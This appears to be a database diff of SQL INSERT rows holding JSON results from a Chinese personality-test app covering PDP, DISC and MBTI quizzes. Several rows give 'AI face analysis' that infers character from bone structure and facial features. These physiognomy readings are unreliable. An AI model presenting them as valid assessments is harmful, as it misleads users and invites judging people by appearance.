+INSERT INTO `mbti_test_results` VALUES (68, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 1, \"Tiger\": 19, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Koala\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-03-06T06:10:13.546Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 5, \"Tiger\": 95, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 17, \"secondaryType\": \"Koala\"}', NULL, NULL, 1, 0, 101, NULL, 1772777413, 1772777413, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (69, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-06T06:10:46.131Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 7, \"secondaryType\": \"I\"}', NULL, NULL, 1, 0, 101, NULL, 1772777446, 1772777446, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (70, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、谋略清晰,擅长系统规划与稳健决策,适合深度思考与长期项目主导。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相均衡偏稳,额骨与颧骨不露锋芒但有内劲,下颌扎实,整体属稳健持久型格局。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳聚焦,鼻形端正收敛,嘴角含蓄不张扬,下巴圆厚有承载力。\", \"personalitySummary\": \"思维缜密,重逻辑与结构,情绪克制,做事有节奏感和计划性,偏独立决策与深度钻研。\"}', NULL, NULL, 1, 0, 200, NULL, 1772777563, 1772777563, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (71, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 1, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 1, \"S\": 7, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:13:16.011Z\", \"confidence\": 93, \"completedAt\": \"2026-03-06T06:13:16.011Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 24, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 1, \"dominant\": \"J\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 6, \"dominant\": \"T\", \"percentage\": 86}}}', NULL, NULL, 1, 0, 200, NULL, 1772777596, 1772777596, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (72, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-06T06:14:30.403Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 14, \"secondaryType\": \"Tiger\"}', NULL, NULL, 1, 0, 200, NULL, 1772777670, 1772777670, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (73, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、善于筹划与评估风险,重视长远布局与体系化推进,适合承担决策与策略设计角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨肉匀称,颧骨内敛不外突,整体气质内敛克制,重逻辑与规则,行动稳健不张扬。\", \"faceAnalysis\": \"额头开阔、眼神专注,鼻梁端正,口形收敛,整体给人理性稳重、思路清晰且有节制的印象。\", \"personalitySummary\": \"性格理性冷静,重视结构与效率,偏内向独立,有清晰原则与边界,擅长在安静环境中深度思考与规划。\"}', NULL, NULL, 1, 0, 101, NULL, 1772779082, 1772779082, NULL, 'personal');
+INSERT INTO `mbti_test_results` VALUES (74, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略周全,擅长系统规划与风险控制,适合掌舵长线项目与关键决策岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨骼线条分明不张扬,属木土兼具之稳健格局,重视结构与秩序,行动节奏耐心持久。\", \"faceAnalysis\": \"额头开阔、五官端正,眼神专注沉稳,整体给人理智可信、思维缜密且有主见的印象。\", \"personalitySummary\": \"内敛克制,思考深入,偏好独立决策与长期规划;重视逻辑和证据,对自己与他人要求高,人际保持适度距离但可靠守信。\"}', NULL, NULL, 1, 0, 200, NULL, 1772779594, 1772779594, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (75, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、稳健克制,擅长谋划与统筹,适合承担关键决策与长期规划角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨骼端正不张扬,骨肉均衡,属稳健谋略型,更重长线布局与结构把控。\", \"faceAnalysis\": \"额头饱满开阔,双眼内敛专注,鼻准端正,嘴形收敛有度,整体气质理性稳重、主思考少外露情绪。\", \"personalitySummary\": \"内向理性,重逻辑与秩序,行事低调却目标清晰,决策慎重且坚持原则,偏策略与分析型性格。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780350, 1772780350, 5, 'enterprise');
+INSERT INTO `mbti_test_results` VALUES (76, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉稳内敛,思维细致周全,善于洞察人心与趋势,适合做策略规划与决策参谋型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面廓偏圆中带方,下颌收束有力,骨感不突但有支撑感,属土水兼具之相,稳健中含灵动与包容。\", \"faceAnalysis\": \"额头饱满圆润,眉目温和含笑,眼神内敛而专注,整体给人理性稳重、亲和可信赖的印象。\", \"personalitySummary\": \"重视内在价值与长期意义,行事谨慎有原则,待人温和却坚持立场,擅长系统思考与整合信息。\"}', NULL, NULL, 1, 0, 101, NULL, 1772780684, 1772780684, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (77, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性温和、内敛专注,善于观察与思考,重视深度与原则,适合专业型与策划型发展路径。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感略显、线条清瘦,颧骨内敛不外突,下颌柔和略尖,属思考型与感知型骨相,以智慧与洞察见长。\", \"faceAnalysis\": \"额头饱满顺势,眼神沉静带思考,鼻梁细直,嘴唇柔和偏薄,整体五官清秀带理性气质。\", \"personalitySummary\": \"性格安静理性,重视独立空间与思考深度,做事谨慎有条理,对他人体察细腻但不张扬,擅长在幕后规划与支撑全局。\"}', NULL, NULL, 1, 0, 101, NULL, 1772781830, 1772781830, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (78, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且具洞察力,内敛中带坚持,适合深度思考与稳健推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部线条偏细长,骨感略显,骨肉关系骨重肉薄,五官集中,呈内敛专注型格局,擅长细致思考与长期坚持。\", \"faceAnalysis\": \"额头较高,眉眼柔和内敛,鼻梁清秀,嘴唇偏薄收敛,下巴略尖,整体给人理智温和、思虑周全的印象。\", \"personalitySummary\": \"性格安静专注,情绪稳定,重视原则与边界。做事有计划,追求质量与深度,人际相对克制但真诚可靠。\"}', NULL, 77, 1, 0, 101, NULL, 1772782874, 1772783583, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (79, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 1, 0, 101, NULL, 1773036842, 1773036842, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (80, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037039, 1773037039, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (81, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773037702, 1773037702, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (82, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038120, 1773038120, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (83, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773038934, 1773038934, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (84, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T06:51:16.469Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 11, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773039076, 1773039076, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (85, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 20, \"Chameleon\": 0}, \"answers\": {\"1\": \"Peacock\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T07:09:22.827Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 0, \"Peacock\": 100, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 18, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773040162, 1773040162, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (86, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773042949, 1773042949, 5, 'personal');
+INSERT INTO `mbti_test_results` VALUES (87, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:12:52.575Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 17, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773043972, 1773043972, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (88, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 20, \"S\": 0}, \"answers\": {\"1\": \"I\", \"2\": \"I\", \"3\": \"I\", \"4\": \"I\", \"5\": \"I\", \"6\": \"I\", \"7\": \"I\", \"8\": \"I\", \"9\": \"I\", \"10\": \"I\", \"11\": \"I\", \"12\": \"I\", \"13\": \"I\", \"14\": \"I\", \"15\": \"I\", \"16\": \"I\", \"17\": \"I\", \"18\": \"I\", \"19\": \"I\", \"20\": \"I\"}, \"completedAt\": \"2026-03-09T08:21:35.366Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 100, \"S\": 0}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"D\"}', NULL, NULL, 0, 0, NULL, NULL, 1773044495, 1773044495, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (89, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-09T09:04:40.997Z\", \"confidence\": 100, \"completedAt\": \"2026-03-09T09:04:40.997Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 30, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1773047081, 1773047081, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (90, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 3, \"Peacock\": 17, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-09T09:05:34.273Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 15, \"Peacock\": 85, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 16, \"secondaryType\": \"Tiger\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047134, 1773047134, 6, 'personal');
+INSERT INTO `mbti_test_results` VALUES (91, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047182, 1773047182, 6, 'personal');
